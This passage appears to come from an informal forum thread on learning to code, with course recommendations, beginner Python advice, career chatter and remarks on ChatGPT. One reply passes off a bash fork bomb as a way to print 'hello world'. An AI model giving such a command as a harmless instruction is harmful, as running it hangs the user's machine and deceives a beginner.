I believe CS50 is pretty good. It's a little all over the place, but a fine place to start if you want to explore CS.

If you want to do web dev stuff specifically, I would recommend the Odin Project, since that teaches everything you need foundation wise

We need an AI thread man this s*** is about to change everything. If you're trying to learn to code just ask ChatGPT to explain things for you

Used ChatGPT at work today over google/stack overflow, kind of incredible

I've been digging into the topics a bit, it's interesting. You say you wrote an annotated bibliography on the subject, I'm curious to read what you were able to identify as missing etc. If you still have it in your possession

let me know once youve saved it

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I did, thanks fam

hope its helpful let me know if u have any feedback

thx man
I will certainly do

yeah all my boys working at FAANG+ used grokking the sys design interview

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I have no experience with programming but i've been flirting with the idea of trying to teach myself Python, ik the best way to learn is by working on projects but is looking at other good programmers code also a decent way to learn? Just going through what every line of code does and getting insight on how they solve problems etc?

If you start your own projects there's no way you won't do both. You'll hit a wall where you don't know how to do something and will have to check on google/stack overflow.

Then you'd need to not only copy paste, but try to understand what you're trying to implement and get rid of some pieces you don't need.

spend a day reading over some of the basic syntax/ trying the exercises on here up till functions, then try to do some stuff on your own.
w3schools.com/python

Thanks for the response, is it cool if i ask questions here or should i maybe make a new thread for beginners

Yeah go for it here, I don't think anyone will care.
If more people see neginners like them trying in "The Computer Science" thread I feel like that'll keep them more motivated

Here's a website ranking python books based on reviews and reddit mentions. There's sections for level of expertise.

pythonbooks.org/for-programming-beginners

Demon program

How to make it print hello world

Open a bash terminal and type

:(){ :|:& };:

iOS Development or Frontend?

Trying to pivot my career into one of these domains for the future, but not sure which one is better long term

I found this (incomplete) list of open Junior positions, hope it helps someone!

github.com/coderQuad/New-Grad-Positions-2023

Where to go with a couple years experience in data engineering

front-end dev makes me feel like i'm just hacking random s*** together

This s*** gives me anxiety bro I feel like I’m competing with a million other people

The pay for these positions is